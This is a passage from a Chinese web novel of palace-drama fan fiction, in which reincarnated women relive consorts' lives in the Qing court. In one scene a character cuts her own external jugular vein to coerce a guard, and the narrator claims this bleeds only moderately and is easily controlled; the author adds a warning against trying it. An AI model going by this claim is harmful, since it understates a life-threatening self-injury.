反而是敦亲王十分喜欢现在的环境,即便被折腾的消瘦也乐此不疲。 “皇阿玛,可是有大臣对您不敬的?告诉儿子,儿子帮您讨回公道!” 弘晸说的义正言辞,然而皇上知道,他单纯是手痒了。 木兰秋狝如文鸳期待中的那样两年一次,蒙古的郡王们接驾从第二次开始就变的不是那么积极。 接连在草原上追牛赶羊还不算,弘晸和弘晶大些了还想着自己去猎熊。 要不是科尔沁郡王死命的抱着弘晶和弘晸的腿拦着,他们是真怕自己摊上皇家的人命官司。 其实弘晸和弘晶只是忽悠着玩儿,他们是小又不是傻,那么大个熊即便再大力也是长大了之后的事。 如今不过是想趁机打劫些好处,也不枉费他们这些部落找了那么些‘驸马’给弘晶挑选。 既然觊觎咱们的弘晶,那自然是要付出代价的,姐弟俩默契的盘算了好处,也打量着这些‘货物’。 皇上呵呵一笑,谁还敢跟他顶嘴啊。前有鄂敏这个一根筋只认皇上是对的的肱骨爱臣,后有弘晸这个诡辩能手。他们有几条命够祸祸的? 文鸳的教育只是看起来像个玩笑,其实母子三人背地里开了不少小灶。 姐弟俩对于自家额娘那深沉又算计的心态十分的了解,并且坚决执行。 女子生来便是男子的附庸吗?至少皇额娘不是,弘晶也不是。 弘晶不想在京城那一亩三分地守着吃喝无聊的过一辈子,她想到草原,去打外面的豺狼,去取敌人的首级。 文鸳无条件支持孩子的所有决定,弘晶学习的内容要比弘晸还要复杂,女子虽然艰难,但女子永远是弹性最大最有毅力的。 “一年不够就两年,两年不够就五年。额娘希望弘晶做自己的海东青,谋定而后动,朝着自己的目标,永远前进。” 每次去木兰秋狝,混在弘晶身边的侍卫都是文鸳托主支找的夫子。 苏皖瓜尔佳氏一族清初开国功臣费英东为清朝建立立下汗马功劳,瓜尔佳氏一族驻守盛京的女子也从没有软弱之辈。 主支知道弘晶公主想要嫁去蒙古后,便暗中送来了不少书籍资料。 他们支持公主有自己的作为,爱新觉罗氏把公主培养成小猫小狗,但他们瓜尔佳氏的女孩子,从来都是自由的海东青。 文鸳就是记得原身的成长是自由且充实,并且先太子妃是能文能武,才对主支有这般的信任。 弘晸十岁进朝堂参政,凭借一张嘴和一份永不会累的体魄干翻所有大臣。 他虽然年纪小但能力不弱,六部轮流着上任,以天天007的加班行程叫所有人心服口服。 “皇上,老臣实在干不动了。” 富察马齐决定引疾乞休,他上了岁数了,实在跟不上六阿哥的速度了。 皇上看了眼像是被吸干净精气神的众人暗中笑了笑,都羡慕朕的龙凤胎,这下好了,都得干! “大学士说的是什么话?朕看你老当益壮,更何况弘晸刚刚入朝,正是需要诸位辅佐的时候。” 皇上心想,他都得坚持着干,谁也别想偷懒。 弘晸站在前头看了看后头的人,还是觉得自己仁慈了。 既然上朝做事不积极,那就调动他们的兴趣。 额娘说了,兴趣是最好的老师。而寓教于乐,是弘晸学到的好办法。 被迫在工作间隙还加入体育锻炼的众人:谁?!谁以后再敢致仕我就死在金銮殿上! 第314 章 瓜尔佳文鸳45 文鸳带着弘晶在草原上纵马,身后的侍卫远远的跟着。 “巴勒珠尔虽然和你年纪相仿,但风评一般,你真的确定了?” 母女俩如今哪里看的出上房揭瓦不高兴就满地打滚的闹腾劲儿,相似的面孔里是如出一辙的算计和精明。 弘晶笑了起来,遥望着天边那朵白绵绵的云语气里带了些愉悦。 “无妨,一个男人而已,额娘不是从小就教育女儿,那些都是玩物吗?” 弘晶比弘晸还要优秀,她能文能武,会刺绣也能手搓火球,但就是因为是女子,不能如弟弟一般进入朝堂实施自己的抱负。 文鸳相信自己的教育没有跑偏,她笑骂着用鞭子轻抽了弘晶身下的骏马。 “男人也好,女人也罢,弘晶,轻敌都是大忌。” 巴勒珠尔是老郡王罗卜藏喇什的幼子,也是现任科尔沁郡王齐默特多尔济的弟弟。 前年,皇上赐婚和硕端柔公主下嫁科尔沁,和这位郡王完婚。 弘晶在众多追随者中挑中了这位巴勒珠尔。 虽然他花心又奢靡,但确实是一个十分得当的跳板。 “额娘,女儿并没有硬要吃苦的爱好,科尔沁是最合适的选择。” 文鸳的政治素养和敏锐程度完全不敌弘晶,她这些见识和阅历都是站在伟人的肩膀上,以理论知识的形式存在在脑海中。 而弘晶不同,她是皇帝亲自教养长大的公主,同时也是整个瓜尔佳氏一族的雌鹰。 瓜尔佳氏教女儿的从来不止四书五经和内宅争斗,主支送进来的宫女和太监都有独特的本领。 从农到商,从文到武,从后宫到前朝,从京城到蒙古,弘晶的所见所学,都是族里人按照女子最适合的发展方式的心血总结。 文鸳只负责把控女儿的心性,可以争可以抢,对外不示弱,对内不举枪。 “想做什么就做什么,女子的归宿从来都不是相夫教子。” 母女俩扬鞭继续向前奔跑,蓝天白云和落日,都只是两人背影中的添色,没有人或物能取代这一刻文鸳和弘晶的样子。 “你们母女俩又跑出去疯玩儿,留朕在这里做事。” 皇上已经五十有六,这几年在文鸳和两个孩子的磋磨下精气神瞧着还不错,比不得先帝的勇猛,也不至于一场寒风就倒。 他笑盈盈的站在营帐外头,看着同款小红脸的母女俩笑的开怀。 “谁叫阿玛不带哥哥来的,这活儿啊,只能阿玛自己干咯!” 弘晶翻身下马,围在皇上身边叽叽喳喳的说话。 弘晸可怜的被留在京中看守朝堂,他自个儿不痛快就叫几个弟妹也不怎么痛快。 除了弘时依旧跟着出来玩儿,弘昹弘晅他们都被强制留在了紫禁城里陪同。 “哈哈哈,明儿阿玛跟你去猎鹿去,正好巴勒珠尔也要去。” 巴勒珠尔确实有些男人的通病,但在皇上眼里都是小问题。 他也劝说过弘晶留在京城,但弘晶的话也不无道理。 京城不大,不够女儿折腾是一回事,最主要的,京中的好儿郎不敢求娶,简直都是一群憨货怂包。 “那正好,女儿可是要跟他比一比,到底谁能打的过一头熊。” 丝毫不在意皇阿玛的打趣,弘晶挑着眉神采飞扬的样子和她那个进宫就没有消停过的额娘一样漂亮。 只是,皇上捂着胸口觉得自己能少活好多年:“你消停些吧,朕看你比熊都危险。” 这话文鸳还是赞同的,弘晶的精力是她的两倍有余便罢了,力气更是惊人,先帝那张十五力的弓弘晸都有些吃力,而她轻轻松松。 这人比人果然气死人,天赋这个东西,是一道越不过去的鸿沟。 皇上不止一次感慨弘晸和弘晶生错了性别,这话叫文鸳嗤之以鼻。 怎么好的能力必须是男子专有的不成?弘晶就是比弘晸优秀,为什么不能坦坦荡荡的承认呢? 好在弘晸的基因链比较优秀,更多的是继承了她的心胸。不然他们老爱家那点子破基因,实在叫人嫌弃。 弘晸知道自己的优势大臣们都没有,所以在他们老老实实指哪打哪不会一提出什么意见就先反驳后,便调整了007的上值状态。 “这日头落了你们就睡,晚上睡得多了,白天就更有精神。若是这好好儿的休息你们不要,就都给我起来干活。” 弘晸觉得自己真是一个优秀的暂时统治者,还知道关心官员们的睡觉休息时间。 众位大臣扯出一抹很勉强的微笑,十分命苦的样子。 夜晚谁不想去外头喝个酒听个曲和同僚商量些阴谋诡计呢。 这下可好了,除了找自家妻妾睡觉,什么也干不了了。 你别说,老祖宗说日出而作日落而息是非常有道理的一句话,经过这段时间的调整,他们明显感觉腰不酸了腿不疼了干上一天活儿也是有劲的。 再加上劳动间隙的体育锻炼,大清的生育率和寿命倒是提升了不少。 皇上回京后还来不及警惕弘晸的优秀,就被拉着去靶场进行父子间的特殊感情沟通锻炼。 “皇阿玛你可回来了,陪儿子玩儿一会儿,然后儿子去额娘那里用膳,皇阿玛去批折子。” 皇上看着手里的弓都气笑了,这个儿子倒是会给他这个老子安排。 “朕还累着,今儿的事你自己做完。” 显然皇上有自己的反骨,他扶着老腰晃回到坤宁宫企图得到自家皇后的同情。 然而皇后换了衣裳就去找宁嫔玩儿去了。 这次去木兰秋狝只带了华贵妃和吉嫔,皇上觉得自己只能受的住一份的折腾,所以毅然决然的拒绝了更多的嫔妃随侍。 皇上看着忙碌着收拾的宫人,往软榻上一歪就睡了过去。 只是不知怎么做起了噩梦,一直到文鸳回来都没能唤醒他。 “皇上?” 显然,这一趟的游玩叫皇上的身体超了负荷,微热的额头和爆皮的嘴唇都昭示着老男人的脆弱。 “朕这是生病了?” 感觉到了身上不同寻常的热度,皇上的眼神还有些飘忽。 “可不是!皇上您得多注意身子。” 听到这不着调的抱怨皇上把刚才的噩梦都快忘了。 他无奈的闭上眼睛,哼笑了一声:“皇后娘娘说的是。” 他也没指望这个小混蛋有反省自己的心。 稍稍歇了两天,皇上趁着文鸳出去玩儿的时候晃悠到冷宫附近。 “甄氏怎么样了?” 自甄嬛被关到冷宫后,皇上就忘了这么个人。 但昨日的梦境叫他心有戚戚。 他,爱新觉罗雍正,竟然被一个女人气死了! 虽然有很多细节都不记得了,但是他记得那张脸。 不要以为涂了红唇戴满珠翠他就不认得! “还活着。” 高无庸不好说甄嬛现状是好或是不好,进入冷宫的宫嫔大多一段时间后就会精神失常。 甄氏倒是一直清醒着,不过,沦落到这个地步,清醒应该也不是什么好事。 皇上推开那有些腐朽的大门,看着甄嬛那突然迸发出亮光的眼睛被吓的后退一步。 突然觉得这女人她吃人! “送走吧。” 梦里那些可能是臆想也可能是幻境,但是罪魁祸首走了,他才能踏实了。 第315 章 瓜尔佳文鸳46 虽然文鸳费人,但运动到底也是叫皇上有所受益,大毛病没有小毛病不断,坚强的活到了雍正十六年。 自从雍正十年,弘晸带着皇上找来的术士手搓出了威力巨大的火药,炸毁了三间屋子两座凉亭和她额娘玩耍的假山后,皇上歇了服用金丹的想法,并立弘晸为太子。 而那些术士,则被弘晸带走,在火药这一块继续发光发热。 这些贪生怕死靠口舌混饭吃的术士为了活命,又出卖了不少同伴,甚至有一位张姓术士因为太过惧怕,还污蔑了几个一面之缘的洋人。 弘晸哭笑不得,也不知道他到底是有骨气还是故意的。 不过既然有人举报,弘晸便把那几个洋人抓了回来。 总归是异族,总不会是无辜的。 “朕一直想着给弘晸和弘晶最好的,但是身子实在撑不住了。” 弘晸的太子妃定下了富察氏的格格,侧妃有二,瓜尔佳氏和赫舍里氏。其余的格格有五,那拉氏,马佳氏,喜塔腊氏,舒舒觉罗氏和钮钴禄氏。 能为弘晸积攒的势力皇上都在自己能想到的范围做下了,文鸳也不得不说一句‘尽心竭力’。 “儿孙自有儿孙福,皇上您少操点心就好了,身子骨都这样了,都是你想东想西耽误的。” 文鸳一边唠叨抱怨着,一边端着药碗仔细的吹凉。 皇上笑了两声又咳嗽了起来:“你说说你,这么多年了,还是一点长进都没有。刚入宫时,那张嘴把太后都要气死了。” 文鸳叫高无庸把皇上扶起来,自个儿端着药喂进去:“瞎说,臣妾说话是直接了点,但是从来不搞那些虚头巴脑的事。” 皇上喝了药也不觉得有什么用,身子空乏的厉害,喘气时胸口像压着一块大石头,费力又憋屈。 “叫弘晸带着人过来一趟吧。” 皇上能感受到生命的流逝,他觉得自己没时间耽搁了。 文鸳抿了抿唇:“我不能在这陪你吗?” 皇上笑着拍了拍文鸳的手背:“听话,看好弘晶她们。” 养心殿的大门开了又关,文鸳习惯了这种生离死别,仍旧有些难受。 辰时一刻,里头的大臣退了出来。 撩起衣摆跪在殿外。 文鸳跌跌撞撞跑进去,皇上的瞳孔已经有些涣散了。 “好好儿的 。” 这是皇上留在世上的最后一句话。 弘晸于灵前登基,文鸳带着后妃处理好先帝的丧仪,搬到了早就修缮好的慈宁宫居住。 守孝三年,皇室内没有婚嫁。 巴勒珠尔在弘晶孝期后,亲自进京求娶。 先帝在时,便封弘晶为固伦清华公主,也把自己私库里的宝贝拿出来了三分之一,给了弘晶作为嫁妆。 弘晶告别额娘和弟弟,带着自己的野望踏上一条属于自己的道路。 而温宜早在先帝驾崩前嫁到了年家,是皇贵太妃年世兰亲自求来的婚事。 年家不如满族老臣显赫,但她能保证温宜在年家永不会受欺负。 朝堂稳定,海晏河清,文鸳带着年世兰等人开启了属于她们的精彩人生。 圆明园被当做训练场,酒囊饭袋的八旗子弟都在文鸳和年世兰手底下过了一圈,不说个个英勇善战,最起码没有被酒色掏空了身子。 这种能玩儿能欺负人的生活文鸳过了四十年,弘晶嫁去科尔沁后迅速收拢了大批势力。 虽然在大清的政治军事体系下,蒙古各部落的势力范围和行动都在严格的管制中。但其中蠢蠢欲动的心思却并不在少数。 以东部松嫩平原向松花江下游,这里是女真部落的边缘地带,暴乱时常发生。 弘晶最喜欢女真部落和向西沿西拉木伦河向漠南蒙古中部的巴林,翁牛特。 这些都是异常不服管教之辈,动起手来格外的痛快。 尤其是漠北的喀尔喀部,总想着脱离大清的统治,弘晶觉得他们还是太不识趣了。 一路推平至此,喀尔喀失去了盟旗制度,被弘晶正式接管。 弘晶不是只会打仗,她脑子里有畜牧有种植有生产有经济。漠北后,没有再继续,而是选择先一步带动这边的发展。 文鸳一直都会收到女儿的来信,虽然这条路艰苦,但是她很庆幸弘晶可以自由飞翔在蓝天下。 文鸳去世时,弘晶并没有子嗣。 她不喜欢生孩子,也不想生孩子。 文鸳支持。 虽然朝堂上关于清华公主的声音很多,但他们只会背地里讨论。 文鸳不再是依靠先帝的皇后,她是一国太后。 敢说她女儿和儿子坏话的,都要接受她的爱的教育。 不怕挨打的尽管去说,连年羹尧她都能掰过来,更何况几个文官。 一生不受气的瓜尔佳文鸳靠着熬鹰打架的本事,给弘晶了一个最硬的后台。 回到地府,原主瞪着一双亮晶晶的笑脸看着她。 “我就说我的办法都没错,只是个中缘由有些错乱而已。” 池烟没有说对也没有说不对,文鸳已经没有下一世了,让她开开心心的离开总比带着遗憾要好。 “我的阿玛和额娘都好好的,族人也好好的,甄嬛和皇后都死了,我就是最厉害的。” 笑着笑着,文鸳的身影越来越淡,她使劲摆了摆手对着池烟再次道谢:“谢谢你啦,我要走了。” 池烟突然有些感慨,这世上人并非只有黑与白,大部分人游离在黑白中间成为了或深或浅的灰色。 人都会有恶意,有人能控制自己,有人不能。 后宫女人更是如此。被时代被环境被别人裹挟着往前走,本心二字是最难坚持的。 即便是差不多的命运轨迹,池烟在这其中也看到了不重样的人性和可能。 “好了,别想太多。” 九殿不知道何时出现在池烟身旁,她推着池烟的胳膊往前走:“去放松一下,地府新开发了东北洗浴,你也去试试。” 作为一生爱热闹的东北人,在地府也干起了老本行,排不上投胎队伍就创业,也是给地府增加GDP了。 池烟好奇的去体验了一把,做鬼确实方便。害羞的不敢脱光的南方鬼会给自己加一层衣裳。 爽朗不拘小节的北方鬼也不会看着她们笑,只要是上头的亲人朋友给烧钱的,都会来玩儿。 而且在这里不用担心任何问题,因为有问题的鬼,受罚来不了。 九殿怕池烟转换不来心情,特意给她多放了两个小长假。 池烟没接到通知就回家躺平玩手机,这做鬼的好处怎么说不完了呢?不怕熬夜,不怕近视,不怕体虚,总结:魂体倍棒。 (关于皇帝,我寻思我也妹给女主开多大的挂啊,怎么都以为谁都和沈眉庄似的不拿九族当回事啊?) 第316 章 宜修1 (咱们宜修的得票率很高哈,华子往后排一排吧。) 池烟在家里玩手机的时候看到了地府版本摇一摇功能,这实在叫她好奇,握着手机‘咔咔’就是晃。 墨绿色信信上一下子多出来了七八十个好友,聊天页面瞬间冒出一百多个群,在她努力探索的时候,还幸运的下载到了甄嬛传的全集。 这时候通讯录新的朋友那一栏弹出了一个新鲜出炉的1字标志。 请求添加好友的信息十分简单又十分打动人:“朋友,我这里有各种电视剧网盘资料和上万本txt小说哦!” 池烟的手不自觉的点了通过,犹豫不了一点。 只是还没等看完刚发过来那本【撒野】,上工的铃声就在枕头边上响了起来。 池烟坚持着在铃声中把丞哥被分手那一章看完,才恋恋不舍的飞奔到工作地点打卡。 “今儿怎么这么晚?” 九殿仔细打量了一下池烟,没有发现任何精神上的不对劲,才放心的错开身把委托者露了出来。 一位穿着黄色皇后朝服的女子仪态万方的站在那里,她嘴角不自觉的噙着一抹温婉的笑容,但眼神里却十分空洞。 “乌拉那拉宜修,这个时间段唯有这几位工作者有空闲,你可以挑选一位替你重走一遍你的人生路。” 九殿的声音唤回了宜修的神志,她的眼神慢慢聚焦,整个鬼都鲜活了起来。 宜修的眼神慢慢从面前几个新鲜的面孔上划过,最后停留在了池烟身上。 她在地府排队也有些时日了,也仔细观察过每个工作者的工作态度。 粉衣的女子每次回来眼神都带着凌厉和杀气,可见她的心性坚韧也残忍。蓝衣的女子则永远是柔柔的笑着,可眼底的算计不比她少一分。 宜修想了想,还是选择了池烟。 “我选这位大人。” 九殿轻轻挑了挑眉,有些诧异。她以为宜修会选沈圆,也就是那位身着粉衣的女子。毕竟沈圆和宜修的心性更为相似。 池烟带着宜修到了一旁的会客区坐着,拿出自己的纸笔开始记录顾客的要求。 “我知道大人认得我,我是乌拉那拉宜修。” 池烟点了点头:“我知道,你有什么要求吗?” 宜修点了点头,又摇了摇头。 “我来到地府很久,见到了很多个弘晖。” 池烟的笔顿了顿,没有抬头。 宜修也不在意,她轻轻叹了口气:“其实那些都不是我的弘晖,我的弘晖大概是也心有不甘就那么去了。” 她手里有一枚颜色暗淡的玉佩,小小的,大约婴儿手掌大小。 “杀了柔则之后,我又杀了很多孩子。其实我也分不清楚,弘晖和权利,到底哪个对于我来说更重要些。” 到了这个地步,宜修没必要再骗人骗己。 那个位置从来不是弘晖的专属,是她硬要把那个位置安在弘晖的头上,为的,还不是自己的贪权。 “我还是恨柔则的,因为我嫉妒。” 池烟能听懂宜修的言外之意,柔则得到了太多人的爱和疼惜,而她没有。 “我没有别的要求,唯二。一是愿我的弘晖长命百岁,二是亲眼看着那两个人纠缠一生不得善终。” 池烟看着宜修平静又癫狂的样子细细想了想:“那你刚才为什么不选沈圆?就是那个穿着一身粉色裙子的?” 虽然是靠眼缘,但像宜修这种排队较久的委托者应当是对她们这些员工都有些了解的。 宜修收起了刚才的戾气:“我知道我的性子改不了了,其实就连华妃我都不恨了。但胤禛和柔则背着弘晖的性命,我断不能原谅。” 池烟点了点头:“还有吗?你要说清楚,是只报复这两个人,还是有别的要求,比如皇后还做不做,端妃甄嬛你要不要报复等。” 宜修想了想说道:“皇后自然要做,端妃恨我,她是真会挑好欺负的下手。有年世兰在,她好过不了。” 池烟挑了挑嘴角,理解了宜修的意思。 “至于甄嬛,只要柔则活着,她也不会好过。” 理解了宜修的诉求,池烟收起了纸笔往宜修身后的光圈走去。 身影被吞没时,宜修的声音在耳边断断续续的响起:“我只要弘晖,弘晖可以不想做皇帝,但我希望,继位的人可以善待弘晖。” 再睁开眼,怀中滚烫,耳边是剪秋和绘春的哭声,眼前是白光划过的闪电。 “侧福晋,侧福晋,大阿哥快要坚持不住了,正院那儿有人守着,奴婢实在喊不来王爷了。” 宜修深吸口气,凝神在自己的空间里看到一枚棕色的药丸。 她轻抚着弘晖的手微微动了动,那药丸便入了弘晖的口中。 ‘百病全消,但维持现有症状。’ 稳住了弘晖,宜修看了一圈周围,她带进府的四个婢女都在,江福海也湿答答的在外头站着。 “既然王爷和福晋不给咱们生路,那生路便由我自己去挣。” 说着,宜修叫剪秋等人拿雨布和蓑衣把弘晖裹住,一行六人直接闯到了前院的大门。 “侧福晋你快回去吧,奴才是不可能给您开门的。” 看门的侍卫哪里看不出今夜的弯弯绕绕,可这些跟他没关系。 宜修喉咙里冒出一股阴冷的笑声,她手里举着一把剪子怼在了自己个脖子上,鲜血汩汩流出,瞬间染红了衣裳。 “你若是不给我开了这个门,照样得死。” 侍卫确实不能眼睁睁的看着雍亲王的侧福晋死在自己面前,赶紧把门打开。 宜修抱着弘晖跌跌撞撞的跑出去,【文献从编】和【永宪录】都有记载,八阿哥胤禩和九阿哥胤禟的府邸是‘花墙只隔一墙’,而胤禛的雍亲王府和胤禩的府邸,则是相连。 她拍开了八贝勒府的大门,对着门房亮出了自己雍亲王侧福晋的身份。 想当年胤禛和胤禩的关系其实很不错,门房即使不看牌子也知道这位的身份。 有奴才快步到了前院,把胤禩和八福晋喊了出来,又腿脚利索的请了府医。 “小四嫂,你这是......” 宜修的样子太过惨烈,湿透的发髻和衣裳,被染红了大半肩膀的血迹,苍白的脸和怀里那个一动不动的孩子。 “八弟,八弟妹,救救我的弘晖。” 再如何冷硬的人看到这样一副场景都觉得窒息,更何况胤禩虽然精于算计,但并不是冷漠之人。 “四嫂,府医来了,先把侄儿放在床上吧。” 八福晋特意叫来了自个儿的贴身侍女,小心的把弘晖身上的雨布和蓑衣取了下来,看着那烧的已经人事不知的孩子,八福晋的嗓子眼有些哽住。 府医跪在地上专心把脉:“回贝勒爷和福晋的话,小阿哥这是邪风入体又遭了药力,这才高热不退。奴才医术不精,怕是要请个太医才是。” 宜修身子一软跌在了地上:“八弟八弟你救救他吧。” 胤禩扯下腰牌扔到身后的小厮手里:“去,拿爷的腰牌去请太医。” 八福晋看着宜修的样子就心脏扑通扑通直跳,她扶着宜修坐在床沿轻声道:“小四嫂,叫府医给您包扎一下吧,若是您也病倒了,弘晖可怎么办啊!” 宜修这才把眼睛从弘晖身上移开,那转动脖子时发出的‘咔咔’的响声,叫八福晋心惊。 第317 章 宜修2 宜修下手很有分寸,她学过中医也学过西医,对自己的血管和经脉都非常的了解。她划破的是颈外静脉,出血量中等,流量比动脉缓慢,且容易通过压迫止血。 (不可尝试,危险!危险!危险!) 府医从药箱里取了止血的药粉敷在了伤口处,又用干净的细棉布以轻微的压迫力绑在宜修的脖子上。 八福晋打发走了胤禩和下人,自己带着婢女给宜修换了身干爽的衣裳。她知道,如今的小四嫂不会愿意离开弘晖一步的。 剪秋等人也被带下去换了衣裳绞干净了头发,胤禩大概询问了一下,嘴里念叨了一句“造孽”。 八贝勒府离紫禁城大约有三公里的距离,深夜请太医惊动了皇上,皇上特允侍卫骑马把太医送了过来。 来人是陈梦雷陈太医,他编纂的【古今图书集成】收录了大量医学文献,其中对儿科的病症钻研十分全面。 陈太医平复了激烈的心跳后便给弘晖把脉,他在宫中多年,什么腌臜手段都见过,弘晖的病症并不算蹊跷,只是病势汹涌又涉及到一些秘药,这才叫小小的弘晖很难抗住。 “臣要先给小阿哥施针,然后按照药方喂药。” 宜修就在旁边看着,虽然弘晖内里已经痊愈,但那些毒素和病灶被那颗神奇的药丸集聚在了身体表面,随着太医的施针慢慢流出点点黑血。 宜修用帕子捂着嘴,眼底满是心疼和关怀的看着弘晖,泪水湿透手帕,一点声音也没有发出。 “到底是怎么回事?” 半夜请太医本就是大事,康熙自然会问上一嘴。 得知胤禩府里头请太医来看老四家的长子,这超乎寻常的消息叫康熙瞬间精神。 今日他宿在翊坤宫宜妃处,宜妃披着衣裳给康熙揉捏着僵硬脖子温声劝慰:“皇上莫要动气,许是有什么不得已的内情。” 康熙冷冷笑了一声:“内情,可不是内情。” 当初老四要死要活的求娶乌拉那拉嫡女,还没安分几年又弄出这动静,实在恶心。 负责查探的人来回很快,胤禩又没有给胤禛擦屁股的爱好,自然是全部抖搂了出来。 “虎毒还不食子,老四真是个蠢货。” 又是那位乌拉那拉氏搞出来的动静,一个庶子都容不下,果然和老四很是般配。 已经到了上朝的时辰,康熙换了衣裳往外走,其中是非并没有背着宜妃,所以宜妃现在一点也不困。 “哼,德妃的种能有什么好东西?” 宜妃看了看自己大红色的指甲笑的一脸得意,她和惠妃荣妃关系都还好,只有德妃,那副作态叫人不喜。 下朝后康熙把胤禛和胤禩留了下来,其余阿哥见状也不走,一并跟着去了乾清宫。 “说说吧,昨晚到底怎么回事?” 岂料胤禩还没说话,胤禛便抬步上前面带喜气的说道:“回皇阿玛的话,儿臣的福晋有喜了。” 胤禩突然有些心凉,他算计来算计去,但没有哪一刻比现在还要看清自己这位四哥。 康熙意味不明的看了他一眼:“确实是喜事。” 语气冷漠,叫胤禛心中的喜意慢慢平复。 “四哥,弘晖如何了?” 胤禩忍不住问了一嘴,见胤禛一脸茫然叹了口气。 胤礽站在康熙身旁挑了挑眉,看来昨晚儿他错过了不少好戏。 “老八,你告诉你四哥昨晚发生了什么。” 胤禩的口才兄弟们都不陌生,被他跌宕起伏富含情感的形容,众人似乎看到了昨夜狼狈的侧福晋和生死不知的弘晖。 胤禛想起来了,今早离开时苏培盛似乎是说了昨夜宜修来正院请府医的事。 但是他沉浸在菀菀有孕的喜悦中并没有往心里去。 康熙冷哼一声,把手里的纸张甩到了胤禛的脸上。 “看看你那好福晋都做了什么。” 虽然乌拉那拉柔则是嫡女,入府即为福晋,但乌拉那拉这位庶女嫁给胤禛几年,一直是她在掌家,不可能毫无防范之心。即便如此,还是没有防备住小人。 没想到啊,不过是一介妇人,竟敢插手皇家子嗣。 康熙挥了挥手,自有人领命去处理觉罗氏。 他的孙子,讨不讨喜都是皇家的事,谁给那些不知所谓的人的胆量,私自处置他爱新觉罗氏的子孙。 胤禛不知道吗?其实他能想明白,他又不蠢,柔则即使身子孱弱,也不需要府医整夜都在正院守着,还是两个。 只是他不能表现出来,这件事不被皇阿玛发现还好,一旦被发现,柔则保不保的住不一定,他也得不了好。 “这,儿臣不知,福晋她怎会......” 只能说胤禛并没有做戏的天赋,从前他冷着脸没什么情绪还好,一旦想要表现什么,简直叫人无法直视。 “你那侧福晋处理事情果决,倒是比你那个福晋有魄力。” 康熙本就不喜柔则,处理起来也格外的干脆。 “雍亲王福晋病逝,立侧福晋乌拉那拉氏为福晋,赐乌拉那拉氏为雍亲王侍妾。因雍亲王大阿哥弘晖生病祈福,雍亲王府丧仪从简不挂白,雍亲王照料幼子染了病气,在家休养两月。” 一道圣旨决定了三个人的命运,胤禛有心要说些什么,但对上康熙那双冷酷似看透一切的眼神默默的闭上了嘴。 现在站在乾清宫的阿哥哪个不是人精,就连一向敦厚的胤祺和胤祐都面色十分复杂。 这事单是听就能明白其中曲折,为了一个不知男女的孩子,眼睁睁看着已经三岁的大阿哥遇害,这也真是骇人听闻了。 圣旨到之前,康熙身边的大太监梁九功先一步到了八贝勒府。 “侧福晋,皇上叫奴才来看看弘晖阿哥。” 宜修一夜未眠,又失了好些血,此刻面色已经是难看至极。 她使劲扯了扯嘴角,那笑容难看又苦涩。 梁九功只看着那还有些殷红的细棉布就知道昨晚的危急,他轻声上前看了一眼还在昏睡的弘晖,又问了陈太医两句,才躬身向宜修道:“侧福晋,弘晖阿哥既然稳定了,便先回雍亲王府吧。” 梁九功的意思就是皇上的意思,宜修也知道这件事差不多要结束了,她点了点头:“是,昨夜是我莽撞了,等弘晖好些了,我会亲自进宫向皇上请罪的。” 她的声音暗哑,梁九功想着,这位怕是也不太好了。 “皇上知晓侧福晋的难处,并未怪罪。” 主要是昨夜大雨,宜修带着人来八贝勒府并未惊动他人,这皇室的丑闻没有传出去,在康熙眼里就不叫事。 梁九功亲自带着宜修回府,才掏出来圣旨宣读。 拉下柔则在她的预料之内,毕竟在宜修的记忆里,这位嫡姐嫁进来后,新婚去乾清宫磕头不过一盏茶的时间。要知道皇上为了表示对儿子儿媳的重视,最起码也会唠上一柱香的话。 至于自己被扶正,她倒是本没有这么乐观,不过这样更好。 柔则不可置信的跌坐在地上,那一句‘雍亲王福晋病逝’就是对世人宣告她乌拉那拉柔则的一生已经结束。 至于赐下来那位乌拉那拉侍妾,柔则捂着小腹哭的难过,除了她还会有谁? 第318 章 宜修3 梁九功看着眼前这乱糟糟的场面眉头紧皱,这样一个做派似妾室的女子,真的是乌拉那拉氏的嫡女?如此教养如何可堪正妻。 胤禛自接了圣旨后,胸口就憋着一团火,他一向冷静的脸上也染上了难堪。就连一直放在心尖尖的柔则,都瞧着有那么点聒噪。 他强忍着怒气吩咐了一句:“把你们主子扶回房里歇着。” 刻意忽略了宜修需要搬进正院的事,进门许久,也没有问过一句弘晖的身子。 梁九功在心里叹息一声,为母则刚,四福晋已经行事很算周全了。 若是那心狠的,昨夜多跑两步进了九阿哥的府上,今儿不说这位前福晋,单是雍亲王的爵位都不一定保的住。 “王爷,皇上的意思是,先福晋在这个节骨眼上病逝徒添了晦气,冲撞了大阿哥的身子。所以这婚礼,要大办,也算是给弘晖阿哥积攒些福气。” 宜修总算明白了梁九功自见到她后那些若有若无的打量到底是为何了。康熙还真是会给别人添堵,她喜欢。 胤禛猛地攥住了拳头,知道这是来自皇阿玛的警告,随即收起了那些上不得台面的小算计。 “皇阿玛说的是,弘晖大病未愈,是应当如此。” 从前都是宣了旨就离开的梁九功今日倒是不着急,他先是带着人到了正院,叫身后的一干侍卫等人把柔则的下人集中在一起带了出去打板子,不过片刻,前院便血流成河。 而后,身边的两位嬷嬷上前,从柔则手里拿到了正院库房的钥匙,盘点了觉罗氏给的嫁妆,利索的改了单子并由侍卫移交内务府,把四福晋的嫁妆清单由乌拉那拉柔则改为乌拉那拉宜修。 柔则呆愣愣的坐在太师椅上,看着身边的人一个个被带走。 “你们这是做什么!” 梁九功带来的嬷嬷人高马大力气也足,她闭着嘴摘下了柔则的头饰,又把人架起剥了她的华服。 另一位嬷嬷手脚利索的把侍妾规制的粉色衣裳套在柔则身上,一套动作行云流水。 梁九功越过胤禛,看着宜修道:“四福晋,您看这乌拉那拉侍妾,住在哪个院子合适?奴才正好叫人安排了,省得您费心。” 胤禛冷着脸,对这明显的敲打不敢吭声。 “西边有个清漪阁还空着,劳烦二位嬷嬷把乌拉那拉侍妾安顿在那里吧。” 宜修也看的出来康熙是下狠心来整顿这个不着调的儿子了,叫人准备了茶水点心和不少荷包,总不能叫别人白干活。 “菀菀是你嫡姐,清漪阁偏僻,不适合她养胎。” 帮忙搬运的嬷嬷和侍卫都翻了个白眼,他们实在看不上这个连亲儿子都能坑害的雍亲王。 宜修扯了扯嘴角,看的出来这是她在外人面前能给胤禛最高的礼遇了。 “清漪阁有片梅林,王爷和乌侍妾不是最偏爱那里,妾身莫不是记错了?” 翻了翻记忆,这一版的柔则和胤禛玩儿的是真花,天寒地冻的,那时候也不喊娇弱了。 胤禛的老脸一红,整个人有种恼羞成怒的气愤。 路过的侍卫和嬷嬷都放慢了脚步,那板正的身姿偏移,试图听到更多皇家的小道消息。 梁九功咽了口茶水,总觉得这位四福晋的话里有话。 